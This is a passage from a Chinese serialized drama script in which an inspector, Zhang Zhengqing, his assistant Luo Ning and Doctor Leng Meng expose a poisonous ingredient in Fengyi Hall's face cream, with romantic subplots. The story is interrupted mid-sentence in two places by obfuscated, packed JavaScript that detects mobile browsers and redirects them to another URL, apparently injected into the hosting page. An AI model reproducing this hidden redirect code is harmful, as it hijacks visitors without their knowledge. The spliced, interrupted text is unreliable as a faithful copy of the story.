听了这话,洛宁拿起信纸,一字一句地读了起来。才刚开头,信纸便被他夺了过去。 张正清:小屁孩,耍我呢?我要听的是这个吗?我要听的是你没写的那部分! 洛宁:没写的那部分?什么呀?张大哥,要不你给我提个醒? 张正清:小鬼,你最近好像没怎么去众康医馆呀? 洛宁:对呀,怎么了? 张正清:你给冷大夫帮了那么大的忙,如今是不是该换他来追你了? 洛宁:唉,我突然发现他不是我的菜,所以决定放弃了。 张正清:放弃了?哼!小屁孩!你真以为我不知道你俩天天在干些什么吗? 洛宁:干些什么呀? 张正清:我再给你最后一次机会,你到底说不说? 洛宁:说就说呗!事到如今,求神拜佛都没用,只能求你了。唉! 洛宁讲述跟冷梦一起调查半日花的事。 张正清:早说不就得了!哼! 洛宁:袁督察调查得怎么样了? 张正清:他已经查清楚了。 洛宁:哦,是吗?是不是有人在种半日花?这些东西是否都卖给了凤仪堂? 张正清:想知道是吗? 洛宁:(撅起嘴)哼,你肯定又不会告诉我! 张正清:想要我告诉你也不难,先写份承诺书。 洛宁:承诺书? 张正清:没错。向我保证以后你再不会对我隐瞒任何事情! 洛宁:这个简单,我现在就给你写!(在纸上飞快地写完后,递给他看)张大哥!这下你满意了吧? 张正清:不行,还要加上一句…… 洛宁:加上一句什么? 张正清:加上一句“若违背此承诺,就怎么怎么样”之类的话。 洛宁:那我就写“若违背此承诺,就让我像你一样打一辈子光棍”,怎么样? 张正清:什么叫像我一样打一辈子光棍?我说过我要打一辈子光棍吗? 洛宁:前阵子吴媒婆找上门来,说要给你介绍哪家的姑娘,你怎么不敢见呢? 张正清:这里是督察府,是办案子的地方,不是说媒的地方! 洛宁:借口!分明就是不敢见。 张正清:大人的事,小孩子别管!赶紧写! 洛宁:(又在承诺书的末尾添上一句话)写好了,这样总行了吧? 张正清:摁上手印! 洛宁:你当这是录口供啊? 张正清:你摁还是不摁? 洛宁:行行行,我摁!唉,人在屋檐下、不得不低头啊!(摁好手印,将承诺书交给他) 张正清:这还差不多!你可给我记住了,若敢再有下次,看我怎么收拾你!哼! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007383|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >乔捕头进来禀报,杜知县来了。 洛宁:(意外)咦,杜大人怎么来了? 张正清:我让他来的。 洛宁:你找他有事啊? 张正清:不就是为了凤仪堂的事吗? 洛宁:噢,原来你早有准备了? 张正清:小鬼!你当我这个督察是摆设呀?从你进入众康医馆的第一天起,我就知道你在干什么,还有你在城西调查曲二嫂的事,我全都知道。哼哼! 洛宁:我就说你在跟踪我,你还不肯承认!亏你还是个督察,未免也太小家子气了!哼! 张正清:我跟踪你?呵呵,只要在我的辖区内,到处都有我的眼线,想知道你在干什么,还不就是我一句话的事儿吗? 洛宁:你这是公报私仇! 张正清:谁让你欺上瞒下?说什么同乡、同行,我倒要问问你,除了这两点之外,你和那位冷大夫还有什么共同语言?凤凰城里这么多好男儿,你怎么就看上他了? 洛宁:张大哥,我那只是跟你开个玩笑。 张正清:开玩笑?我才不信呢!你要是对人家没那种想法,又怎么会那样说呢? 洛宁:那是因为当时我的手里只有凤仪堂一瓶面脂的检验结果,无法确定其他东西里是否也有半日花,为了慎重起见,才不得不编造了这个理由。 张正清:你编什么理由不行、非要编这种理由? 洛宁:我那不就是随口一说嘛! 杜知县从外面进来。 杜知县:(作礼)张大人! 张正清:(点点头)嗯,杜大人请坐。 杜知县入座后。 张正清:杜大人!胡大婶状告凤仪堂的那件案子,是怎么回事? 杜知县:回大人!下官受理此案之后,原打算前往凤仪堂调取其正在出售的面脂进行检验,但不知为何,胡大婶突然又说不告了,下官便没有再追究了。 张正清:突然又说不告了?你问过她为什么吗? 杜知县:她说是弄错了。 张正清:弄错了?那份众康医馆的诊单还在吗? 杜知县:在!(递上一张纸单)请大人过目! 张正清一看纸单上的字,没一个认识的,便皱起了眉头。 张正清:小鬼,你来给我讲讲,这上面写了些什么? 洛宁:这份诊单我在医馆里已经看过了,冷大夫为胡大婶的儿媳妇做了检查,在她的体内发现了半日花,这也是导致她奶水突然没了的直接原因。 张正清:凤凰城里用这个面脂的人非常多,为何她们的身子却没出毛病? 洛宁:甜妞儿的脸肿了。 张正清:哦,也是因为这个吗? 洛宁:嗯。只要一停用,脸肿得就像馒头一样,再用上之后,便好了。 张正清:杜知县,你说你之前去凤仪堂的时候,它的老板欧阳兰兰总是千方百计地躲着你,不肯让你查看她店里的东西。 杜知县:正是。她手下的那几个伙计,只说不敢擅自做主,此事便一拖再拖,直到胡大婶那边撤了案,方才作罢。 张正清:我们的手里虽然有了证据,但还不足以令所有人信服。此时贸然去查封凤仪堂,只怕会引来不满。不如这样吧,我跟袁督察商量一下,让他先找个借口,扣下凤仪堂的东西,等这边断货之后,看看凤凰城里那些人的脸会有什么样的变化,再作打算。 洛宁:嘻嘻,这个办法好! 在欧阳兰兰的老家,袁督察以搜捕逃犯为由,下令全城戒严,加工出来的凤仪堂面脂,被滞留在了城里,无法运出。很快,凤凰城这边便断货了。又过了不久,用过凤仪堂面脂的那些人脸上都出现了这样那样的毛病。一时间,医馆的门前,排起了长龙。 梁州,紫蔚城 4-74 欧阳世家,欧阳兰兰的屋子(日,内) 人物:欧阳兰兰、欧阳明真、欧阳母、曹大夫 欧阳兰兰的脸也肿了,像水泡一样发亮,又痒又疼,碰一下就流脓。欧阳明真请来全城最好的大夫,为她诊治。 欧阳母:曹大夫,我家兰兰的脸是怎么回事呀? 曹大夫:唉,这个病来得太突然,我也不好断定…… 欧阳兰兰:(早已哭成了泪人)娘!我的脸还有没有救呀?如果以后它都是这副样子,那我还活着干嘛?呜呜! 欧阳母:(也跟着不停地抹眼泪)乖女儿,快别说这种话了!娘听着心里难受! 欧阳明真:兰兰你放心!不管用什么办法,也不管花多少钱,哥哥一定把你的脸治好了! 曹大夫:其实,像欧阳小姐这样的情况,各个地方都出现了很多,尤其在凤凰城里,最为严重。 欧阳明真:怎么会这样?该不会是什么疫病吧? 曹大夫:若是疫病,应该人传人才对,但就目前的情况看,似乎没有。 欧阳明真:那又是怎么回事呀?唉,真是急死人了! 管家进来通报,张正清来了。 欧阳明真:张督察?他怎么来了?(对着欧阳母)娘,您先照顾兰兰,我去去就来。 4-75 欧阳世家,客厅(日,内) 人物:欧阳明真、张正清 欧阳明真来时,张正清正等着他。 欧阳明真:(作礼)张大人! 张正清:(开门见山地)欧阳明真!前阵子胡大婶状告你们凤仪堂的事,你可知晓? 欧阳明真:我听兰兰提起过。 张正清:最近凤凰城里有不少人的脸上都出现了这样那样的问题,你可知晓? 欧阳明真:实不相瞒,我家兰兰也病了。 张正清:那你知道他们的病从何而来吗? 欧阳明真:我请了全城最好的大夫,为兰兰诊治,可他一时也说不明白是何缘故。 张正清:是因为半日花。 欧阳明真:半日花? 张正清:它就在你们凤仪堂的面脂里。 听了这话,欧阳明真震惊得说不出话来。 张正清:欧阳明真!本官今日来这里,就是想跟你商量一下接下来该怎么办。 37. 第四篇 表哥和他的朋友 梁州,凤凰城 半日花的消息一公布,全城哗然。 4-76 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:洛宁、顾云飞、银华 洛宁惬意地伸了个懒腰。 洛宁:云飞大哥,果然还是你这里最清静!每当我心烦时,只要往你这椅子上一坐、再喝上一杯你亲手泡的茶,整个人立马就放松了,就像脱胎换骨一样。 顾云飞:(白了她一眼)你一个没心没肺的野丫头,怎么会心烦呢? 洛宁:就算我没心没肺,但我还有眼睛和耳朵呀!我的眼睛里看到的全是凡夫俗子,我的耳朵里听到的全是靡靡之音,你说我能不烦吗? 顾云飞:矫情! 洛宁:嘻嘻!再来一杯! 银华:(从外面进来,笑指着洛宁)哈哈,我就知道你在这里! 洛宁:(耸耸肩)是啊!除了这里我还能去哪儿? 顾云飞:这丫头把我这里当成了避风港,她一来我就知道,肯定又在外面惹麻烦了! 银华:哈哈!你姐正到处找你呢! 洛宁:别理她! 顾云飞:怎么了?你又哪里得罪她了? 洛宁:我可不敢得罪她,是她太不讲道理了! 顾云飞:咦,不对吧!在我们这些人里面,最不讲道理的那个家伙,好像是你吧? 洛宁:这次可真不怨我! 银华:宁儿说的没错,这次她姐的要求确实有些过分。 顾云飞:(酸溜溜地)怎么?你姐又逼你去相亲了?哪家的公子呀? 洛宁:比这个难度更大!她要我去给欧阳兰兰赔礼道歉! 顾云飞:因为凤仪堂的事情? 洛宁:对呀! 顾云飞:嗯,是有些不讲道理。 洛宁:本来就是嘛!我姐说,凤仪堂被查封,对欧阳兰兰的打击肯定不小,这件事因我而起,所以要我跟她一起去紫蔚城,给欧阳兰兰赔个礼道个歉,顺便安慰安慰她。 顾云飞:那你答应她了吗? 洛宁:我要是答应她了,还用得着躲在你这里吗? 银华:这种事情怎么能答应她呢?照你姐的意思,是不是你们督察府在抓坏蛋的时候、也要先给他们赔个礼道个歉呀? 洛宁:哈哈,银华!你这个说法可真贴切! 顾云飞:听说外面现在挺热闹? 银华:可不是嘛,热闹极了!我刚才经过凤仪堂,见那里人山人海,若不是有官差在前面挡着,估计人们早就冲进去把它砸个稀烂了!还有县衙门口、欧阳世家的门口,也包括欧阳世家的铺子外面,都挤满了声讨凤仪堂的人群。唉,一朵小小的半日花,竟闹得满城风雨! 洛宁:半日花是兽药,在我们聚胜古都,是不许用在人的身上的。只不过在沉香国没有这方面的禁令,所以凤仪堂的面脂里即使添加了半日花,也不为过。 顾云飞:那些遭半日花毁容的人,还能治愈吗? 洛宁:她们用凤仪堂的时间不长,应该还有希望。 银华:现在各处医馆的求诊者非常多,都是因为用了凤仪堂的东西。还有那家众康医馆,之前还冷冷清清,这几天看病的队伍都排到街对面了! 洛宁:半日花是冷大夫最早发现的,他或许有办法对付它。 银华:呵呵!我觉得你们张督察可真狡猾,明明凤仪堂的这场火是从你们督察府烧起来的,他却置身事外、冷眼旁观,让县衙的杜大人冲在最前面灭火,忙得焦头烂额。简直太坏了! 洛宁:张大哥也不是什么都没做呀!他这几日正在和欧阳明真商量有关凤仪堂的赔偿事宜,争取能够早日拿出一个可行的办法,安抚大众,尽快平息凤仪堂的这件事情。 银华:原来他在暗中使劲,看来是我错怪他了!不过这一次,欧阳明真可要赔惨了! 顾云飞:对家境殷实的欧阳世家来说,这点钱不算什么。 洛宁:嗯。其实对欧阳明真来说,赔点钱倒无所谓,最操心的事情是怎么安抚欧阳兰兰。 银华:让你姐去安抚她呗,她就喜欢干这个! 洛宁:你怎么一副幸灾乐祸的样子啊? 银华;我是在为你感到庆幸。 洛宁:为我? 银华:对呀!庆幸你没有用凤仪堂的东西呀!不然的话,这会儿肯定也跟甜妞儿一样,躲在被窝里哭呢!哈哈哈! 4-77 督察府,前院(日,外) 人物:冷梦、张正清、洛宁、田佳 冷梦从外面进入督察府,正好碰上张正清。 张正清:(意外)冷大夫?你怎么来了?你的医馆最近不是挺忙吗?怎么有空过来了? 冷梦:我找洛姑娘有点儿事。 张正清:(顿时有些不快)你找她?什么事呀? 冷梦:洛姑娘在不在? 张正清:巧了!她去县衙了,这会儿还没回来呢!你有什么事不妨告诉我,我替你转达。 冷梦:是这样的。因为半日花的事情,医馆里最近病人特别多,我一个人有些忙不过来,想请她过去给我搭把手。 张正清:你找她?那你算是找错人了! 冷梦:怎么?她没空吗? 张正清:跟这个没关系!我的意思是,她嘴上说自己是个大夫,可这些年来,我也没见她给谁瞧过病,估计她爹教给她的那些东西,早就忘得一干二净了。你的医馆如今好不容易有了点儿起色,若再被她搞砸了,岂不是丢了西瓜捡芝麻? 冷梦:前阵子她跟我一起检验半日花,我见她说的倒是头头是道。 张正清:医书上的东西,谁不会背呀?但给人治病,就不一样了。要是治不好或者治坏了,可怎么办呀? 冷梦:关于半日花,我已经摸索出了一些治疗的办法,她只需按我说的话去做…… 张正清:她是人不是木头!以我对她的了解,你说的话她不仅不会听,还会处处跟你对着干。人命关天,你放心吗? 冷梦:这样啊…… 张正清:冷大夫,要我说凤凰城里这么多大夫,你完全可以找别人帮忙嘛! 冷梦:我只认识洛姑娘一个人。 张正清:要不我去帮你问问? 冷梦:嗯,也行,那就有劳张大人了!(刚转身要走,却听屋里传来田佳的一声喊) 田佳(画外音):宁儿!再给我多拿些冰块来,我的脸快要痒死了! 洛宁(画外音):光敷冰块有什么用?不是说了让你去找冷大夫吗? 田佳(画外音):老大不许我去呀!唉哟哟,痒死了! 冷梦:(轻轻一笑,回头对着张正清)张大人,我刚刚配制了一些药膏,要不您让田姑娘试试? 张正清:(尴尬地摆摆手)用不着!她的脸只是有点儿痒,问题不大,过两天自然就好了。 正说着,洛宁从屋里出来,一眼就看见了冷梦。 洛宁:冷大夫?太好了!我正想去找你呢!(拉起冷梦便往里走)你快过来瞧瞧,田佳的脸是怎么回事…… 冷梦跟洛宁进了屋,张正清被晾在了外面,心中恼火不已。 4-78 督察府,洛宁和田佳的屋子(日,内) 人物:张正清、洛宁、田佳 冷梦走后。 田佳:冷大夫的药膏可真管用,一擦就不痒了! 洛宁:他说还配制了一些药丸,你记得过去拿! 田佳:我这就去,晚了怕被人抢光了! 田佳一溜烟儿跑了出去,张正清从外面进来。 洛宁:张大哥,你刚才在门口跟冷大夫说什么呀? 张正清:也没说什么,就是谈了些关于半日花的事。 洛宁:哦,对了!冷大夫让我去医馆里给他帮一阵子忙…… 张正清:不行! 洛宁:可我已经答应他了! 张正清:(顿时恼了)你答应他了?问过我的意思没?你还是不是督察府的人?你的眼里还有没有我这个上司?翅膀硬了是吧?长本事了是吧?敢自作主张了是吧?我说的话你不听了是吧? 洛宁:唉呀呀!张大哥,你小点声儿,我的耳朵快被你吵聋了! 张正清:前阵子才写的承诺书,这么快就忘了是吧? 洛宁:不过是帮几天忙而已,至于发这么大的火吗?以前田佳不也被县衙借调过一阵子,也没见你生这么大的气呀! 张正清:你俩不一样! 洛宁:怎么不一样? 张正清:(吼)我是你的上司、还是你是我的上司?我说不一样就是不一样,没理由! 洛宁:张大哥!你现在这副样子,简直跟我姐一模一样,分明就是在无理取闹嘛!按理说你这把岁数,青春期早就过了,怎么还这么大的脾气呀? 张正清:嫌我脾气大?噢,我明白了!你不就是想说人家冷大夫脾气好吗?是啊!你瞧瞧人家,嘴多甜呀,才三言两语就把你哄过去了,你就不怕他是个骗子吗?真是一点儿警觉都没有,被人卖了还帮着数钱! 洛宁:(不以为然地)不会,人家冷大夫来这里之前,就已经通过了咱们沉香国的医考! 张正清:通过了医考就是好人呀? 洛宁:张大哥!人家冷大夫哪里得罪你了,你怎么这么讨厌人家呀?难道因为冷大夫是从聚胜古都来的缘故?哦,我想起来了,上次我姐想要撮合甜妞儿和黄毅的时候,你也坚决反对。哼,没错!你虽然嘴上不肯承认,其实骨子里有非常严重的地域歧视! 张正清:什么地域歧视?我这是对事不对人!小屁孩,我告诉你!我张正清干这一行多少年了,见过的坏人不计其数,谁也不会把“坏”字写在脸上! 洛宁:也不是啊!在海上有些部落,无论男女老少,都喜欢把字和画纹在自己的脸上和身上,而且身份越尊贵、脸上和身上的纹身就越多。 张正清:你故意跟我抬杠是吧? 洛宁:没有啊,张大哥!我不是这个意思!你看我刚才已经答应人家了,若再说不去,岂不是太没诚信了?要不这样吧,我请你吃饭消消气,好不好? 张正清:不去!早被你气饱了! 洛宁:那你想怎么样? 张正清:怎么样?哼哼!小鬼,你想去是吗?行,我让你去!不过…… 洛宁:(顿时有些紧张)不……不过什么?你该不会又要扣我薪水吧?人家冷大夫说了,只是帮几天忙而已,过阵子他的朋友从聚胜古都过来后,我就可以回督察府了。张大哥,你行行好!你已经扣了我半年的薪水,若再扣的话,我这一年都白干了! 张正清:不扣薪水也行,咱们换个方式。 洛宁:换个方式?什么方式? 张正清:听好了!你在众康医馆的这段日子,每天晚上回家之前,必须先到督察府来,向我汇报! 洛宁:汇报什么? 张正清:汇报你当天的所作所为! 洛宁:这有什么好汇报的?不就是治病救人吗? 张正清:你治了哪些病、救了哪些人,说了什么、做了什么,事无巨细,都必须向我汇报! 洛宁:干脆你跟我一起去得了! 张正清:还有!只要是个男的,都必须离他远点儿! 洛宁:离他远点儿?那还怎么给人治病? 张正清:医馆是冷大夫开的,你只是去帮一下忙,何必喧宾夺主呢?再说了,在这些男的里面,难保不会有一两个心怀不轨的,你若是被他们欺负了,丢的可是咱们督察府的人! 洛宁:也是啊!人们肯定会说,你这个当老大的太没本事了,连自己的手下都罩不住! 张正清:(两眼一瞪)你说什么?! 洛宁:张大哥!除了众康医馆,大街上也有很多心怀不轨的男的,照你这意思,我是不是连话都不能跟他们说了? 张正清:这样才对嘛! 洛宁:在这些人里面,包不包括你呀? 张正清:(两眼一瞪)你说什么?! 洛宁:(立刻改口)您是君子,岂能与小人为伍?凤凰城里的百姓都知道!嘿嘿! 4-79 督察府,张正清的屋子(日,内) 人物:张正清、于烈 就在洛宁去医馆帮忙的那段日子,于烈也来到了凤凰城里,见到他,张正清有些意外。 张正清:于烈?你怎么来凤凰城了? 于烈:(先是作了个礼,然后笑着回答)上次我在信中不是说要亲自登门道谢吗?正好我来梁州监狱办事,便顺道过来了。 张正清:永平城离凤凰城那么远,你这个道顺得有点儿大呀! 于烈:舅舅也说好久没见到你,让我过来瞧瞧。 张正清:你舅舅舅母一切可好? 于烈:都挺好。(将手里的食盒放在桌上)舅母说,上次你去的时候,对那盘栗子糕格外青睐。她这次特意又做了些,让我给你带过来。 张正清:栗子糕?呵呵,没想到你舅母竟然还记得这个。(打开食盒,拿出一块吃了,跟着不住地点头)嗯嗯,还是那个味儿!不愧是御厨的后人,做什么都好吃,你舅舅娶了她可真有口福! 于烈:洛姑娘呢?不如让她也来尝尝吧! 张正清:她呀?可真不巧,她这几日请假了! 于烈:请假了?为何? 张正清:她病了,在家里养着呢。 于烈:病了?怎么回事? 张正清:还不都是因为凤仪堂嘛! 于烈:凤仪堂? 张正清:对呀,你应该也听说这件事了吧? 于烈:听是听说了,不过这跟洛姑娘有何关系? 张正清:她也在用凤仪堂的东西。 于烈:洛姑娘天生丽质,哪里用得上这个? 张正清:呵呵!于烈,你是只知其一、未知其二啊!你是不是觉得在比翼双飞遇见她时挺令人心动呀?那不是因为她真的漂亮,而是因为用了凤仪堂面脂的缘故。如今凤仪堂出了事,她也被打回了原形。你若见了,只怕会被吓着。 于烈:有那么严重吗? 张正清:唉!实不相瞒,她刚来咱们督察府的时候,一张脸又黑又丑,还长满了麻子,我天天面对着她,别提有多难受了!那一阵子,我几乎天天晚上都做噩梦。 于烈:真的吗?当初不是你请她来的吗? 张正清:我是为了拿她练胆儿!正因为看惯了她的那张脸,以后再看那些面目全非的尸体时,就不觉得有多么可怖了。 于烈:哦,原来是这样。既然她没来督察府,那我就去洛府看看她吧!(转身要走,却被张正清拦住) 张正清:你这个傻小子,怎么一点儿也不懂人情世故啊?她的脸如今肿得像个猪头,我估计这会儿就算是她的亲爹亲娘来了,也未必认得出。你若去了,她会见你吗? 于烈:至少让她知道我来了…… 张正清:这个你放心,我会替你转告她。要不这样吧,你看你好不容易来一趟凤凰城,今晚我做东,咱们去富贵大酒楼里好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007384|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地喝上一杯! 于烈:可我还是想去看看洛姑娘…… 张正清:你现在去,不仅安慰不了她,反而会令她更伤心。你想想,女孩子最看重的是什么?不就是一张脸嘛!本来她的那张脸已经惨不忍睹了,如今更是雪上加霜。此时此刻,别说是你,谁去了都不合适!(搂住于烈的肩膀)嘿嘿,走吧! 4-80 富贵大酒楼,走廊上(夜,内) 人物:张正清、于烈、邱红叶 张正清和于烈来到富贵大酒楼,刚上去,就看见一个遍身绫罗珠翠的美艳女子,自对面走了过来。见到张正清,她先是愣了一下,接着便笑了。 邱红叶:咦,张大人?真没想到会在这里遇上您! 张正清:哦,是邱老板呀!好久不见! 邱红叶:可不是嘛!上次见面还是在京城,咱俩一起吃了顿饭。 张正清:咱俩?邱老板,您这样说,也不怕旁人误会呀? 邱红叶:(笑着摆摆手)误会什么呀?凤凰城里谁不知道,您是一位正直清廉的好官,别说是我,任何人想打您的主意,那都是痴心妄想! 张正清:邱老板,我再怎么正直、再怎么清廉,也不过是狐假虎威罢了,哪像您,自己当自己的老板,多威风呀! 邱红叶:嘻嘻,小打小闹而已,算不了什么!(又瞅着于烈)咦,这位是…… 张正清:哦,他是我兄弟家的孩子。 邱红叶:兄弟家的孩子?张大人,您看您长得气宇轩昂,这位小兄弟又是一表人才,您若不说,我还以为你们是一家人呢! 张正清:邱老板,您可真是太会说话了!难怪辉月阁的生意那么好,原来大家都不是冲着绣品去的,而是冲着您去的! 邱红叶:嘻嘻,张大人,瞧您说的,我都不好意思了!俗话说得好,有缘自会重逢。上次在京城,匆匆一别,我也没能好好地款待您,不如今晚我做东,咱们好好地喝一杯,怎么样? 张正清:(面露难色)这个嘛…… 邱红叶:怎么?不肯赏光吗? 张正清:邱老板,不是我不肯赏光,而是这位小兄弟,他前阵子刚刚成了亲,两口子正腻歪着呢!若被他媳妇儿知道他跟您这么一位绝色的大美女在一起喝酒,我怕她会吃飞醋! 邱红叶:又不是只有我和他,不是还有您吗? 张正清:我怕人家会说,我把他带坏了!(冲着于烈使了个眼色)是不是呀,于烈? 于烈:(会意)哦,是啊!邱老板,您想约张大人的话,不如改天吧! 邱红叶:不过是一顿饭而已,弟妹也未必会计较。 张正清:邱老板您有所不知,这孩子有点儿惧内,这一顿饭吃下去不打紧,回去之后,怕是要跪着睡了。咱们不能害他呀! 邱红叶:唉,既然这位小兄弟有难处,我若强求,倒显得没理了。那行吧!张大人,咱们改日再约,下次您可一定不能再推辞了! 张正清:一定一定!呵呵! 4-81 富贵大酒楼,雅间(夜,内) 人物:张正清、于烈 目送着邱红叶离开后,张正清和于烈方才进入雅间里坐下。 于烈:张督察,我何时成了亲?我怎么不知道? 张正清:想成亲还不容易吗?看上了哪家的姑娘?我帮你牵线搭桥! 于烈:洛姑娘怎么样?我觉得她挺合我的意。 张正清:(眯起眼)挺合你的意?你才认识她多久?知道她是一个什么样的人吗? 于烈:张督察的眼光向来比我好,你看上的人,一定不会错! 张正清:那你可要想好了!她那张脸,没准儿这辈子就那样了!你就算不为自己着想,是不是也得考虑一下周围人的感受啊?再说了,男婚女嫁,可是人生的头等大事,岂能儿戏?你在做决定之前,是不是也该问一下你舅舅舅母的意思啊? 于烈:舅舅舅母说了,只要我喜欢就行。 张正清:你喜欢就行?那你将来若是不喜欢了呢?小子!当初你进入督察府的时候,我就告诉过你,年轻人说话做事不能太急躁,你怎么就不长记性呢?难怪让你舅舅舅母操碎了心!唉,罢了,不谈这个了!来!喝酒!(冲着门外喊)小二,菜呢?怎么还没上? 店小二(画外音):客官请稍等,菜马上就来! 二人从富贵大酒楼里出来时,于烈已经醉得不醒人事,张正清只好搀着他上了马车,回督察府去。 4-82 督察府,前院(夜,外) 人物:张正清、洛宁、于烈、田佳、黄毅 到了督察府,张正清把于烈留在车上,自己先进去。 张正清:(进门便道)黄毅!田佳!于督察喝醉了,你俩快去把他弄进来! 黄毅/田佳:哦,好!(一溜烟儿跑了出去) 张正清:(见洛宁也在督察府里)咦?小鬼!你怎么还没回家呀? 洛宁:(没好气地)张大哥!不是你说让我每晚回家之前,要先来督察府、向你汇报这一天的情况吗? 张正清:呀,我怎么把这事给忘了!唉,怪我怪我!等了半天,肚子一定饿了吧?要不我带你上街去撸个串? 洛宁:不了,我已经跟田佳一起吃过饭了。 黄毅和田佳搀着于烈从外面进来。 洛宁:(皱起眉头)怎么醉成了这样? 张正清:可不是嘛!我原以为这小子挺能喝,没想到才一壶酒灌下去,就醉得不醒人事了。(对着黄毅和田佳)你俩把他送去客房,再给他弄些茶水醒醒酒。 洛宁:我给你们煲了醒酒汤。 张正清:哦,是吗?那行!田佳,你去把那个醒酒汤给他弄一碗喝了。 田佳:哦,好嘞!(跟黄毅一起送于烈去了客房) 张正清:你想得挺周到呀,居然连醒酒汤都煲好了。 洛宁:你回回在外面吃饭,我不都给你煲了醒酒汤吗? 张正清:我指的是于烈的那份。 洛宁:刚才煲汤的时候,一不小心水放多了,自然就多出了一碗。 张正清:啧啧,这么巧呀! 洛宁:张大哥,你还想不想听我汇报呀?如果不想听的话,我可就走了,银华还在外面等着我呢! 张正清:得得得!累了一天,你也快回去歇息吧,汇报的事明天再说! 4-83 督察府,前院(日,外) 人物:张正清、于烈 于烈从宿醉中醒来时,天已大亮。 于烈:(怀着歉意)张督察,昨晚给你添麻烦了,真不好意思! 张正清:你小子的酒量未免也忒差了点儿,这些年在官场上,怎么混过来的? 于烈:我平日里甚少应酬,让你见笑了。 张正清:你呀你,还是跟我头一回见到你的时候一个样儿,一点儿没变! 于烈:舅舅也经常这么说。 张正清:有空的话,多去看看他。为了你,他们两口子连孩子都没要,你是他最亲的人,可别冷落了他。 于烈:(点点头)嗯,我知道。你也多保重! 4-84 街道上(日,外) 人物:于烈、洛宁 辞别了张正清,于烈正打算离开,却在离督察府不远的医馆里,意外地发现了一条忙碌的身影。 于烈:原来你在这里! 想起之前张正清说的那番话,于烈不禁笑了,想过去跟她打声招呼,又犹豫了。最后,他只站在原地,望着她良久,方才悻悻地走了。 38. 第四篇 表哥和他的朋友 梁州,凤凰城 就在凤仪堂的事情闹得沸沸汤汤之际,三个身穿奇装异服的年轻人,来到了洛府。为首的名叫安琦,是洛宁的表哥,一副谦和有礼的样子;另一个岁数大些,名叫路易,是安琦的朋友,脸上总是挂着一丢丢痞子般的坏笑;最小的那个名叫翡翠,长得清秀水灵,雌雄难辨。他们从聚胜古都,千里迢迢来到了凤凰城里。 4-85 天地会总会,常乐厅(夜,内) 人物:洛宏、洛宁、洛青、安琦、路易、翡翠 见到他们,洛宁又惊又喜。 洛宁:天哪!我是不是在做梦?你们怎么会来这里? 安琦:是冷梦写信让我们过来的。 洛宁:冷梦?众康医馆的冷大夫? 安琦:(点点头)嗯,他跟我是同窗,我俩十分要好。 洛宁:原来如此!冷大夫说他的朋友要来这里,没想到竟然是你们几个。 安琦:(指着路易)我本打算写信告诉你这件事,但他不让,说是要给你一个惊喜。 路易:(笑着问洛宁)见到我们是不是很意外呀? 洛宁:岂止是意外,简直就是晴天霹雳呀!我连做梦都没想过你们会来这里!尤其是翡翠,像你这样一位对吃穿住用样样都十分挑剔的名门贵公子,怎么能忍受得了一路上的颠簸劳累呢? 路易:唉,你算是说到我心坎儿里了!这一路上为了迁就他,不知道绕了多少个弯路,可把我和你哥给折腾坏了!(众笑) 洛宁:安琦!你来凤凰城的事,姨妈知道吗? 安琦:我打算安顿下来之后,再写信告诉她。 洛宁:哦,这么说你是先斩后奏了? 安琦:(指着路易)他教唆我的。 路易:(一脸的无辜)冤枉啊! 洛宁:(对着洛青)姐!你看见没?坏孩子可不止我一个哟!(又问安琦)姨妈怎么样?她还好吗? 安琦:永远都是一副精力旺盛的样子。 洛宁:你的沉香国方言说的不错呀,谁教你的? 安琦:没人教我,我自己学的,用了大概一年的时间。 路易:你自己想学也就罢了,何必非要逼着我们跟你一起学呢? 安琦:这一路上你跟那么多女人打情骂俏,靠的不就是这个本事吗? 路易:(叹了口气)唉,多么美好的一段经历呀,可惜都成了过眼烟云。(众笑) 洛宁:这么说,即使冷梦不给你写信,你也早就打算过来了? 安琦:是啊!你在这里,冷梦也在这里,你说我能不来吗? 路易:不仅如此,你哥在来之前,还把这边的习俗都认认真真地研究了一番。不信你看,他连筷子都会用呢! 洛宁:是吗?那你把这个夹起来试试。(递给安琦一盘鹌鹑蛋) 安琦:故意为难我是吗?瞧好了!(非常轻松地用筷子夹起一颗鹌鹑蛋放进嘴里,得意洋洋地望着她) 洛宁:(摇摇头)错了,鹌鹑蛋不是这样吃的。 安琦:(微微一愣)哦?那该怎样吃? 洛宁:瞧好了!我们这边都是这样吃的!(直接用手拿起一颗鹌鹑蛋放进嘴里) 安琦:(无可奈何地叹了口气)唉,小调皮!(众笑) 洛青:安公子,你们这次过来打算待多久? 安琦:冷梦的医馆才开办不久,正需要人手,所以我们暂时没有离开的打算。 洛宁:哦,这么说你们打算成为凤凰城里的常住人口了?不如明天随我去县衙登记户籍吧! 路易:好啊!最好能让知县大人再给我们划一块地、盖栋房子,那就更稳妥了! 洛宁:要不要再给你娶个媳妇、生个孩子呀? 路易:哎呀,那就太完美了!(众笑) 洛青:安公子,你们准备住在哪里? 安琦:冷梦在医馆里有间空房,应该够我们几个人住了。 路易:那么多人挤在一个屋子里,我可不要!不如我们在外面另寻一套房子吧! 安琦:嗯,我也正在考虑这件事,大家分开住,更方便些。 翡翠:把路易的房间安排得离我远点儿,免得夜里被他吵醒了! 路易:(笑着说)放心!我是不会把我的红颜知己带回家的,哈哈! 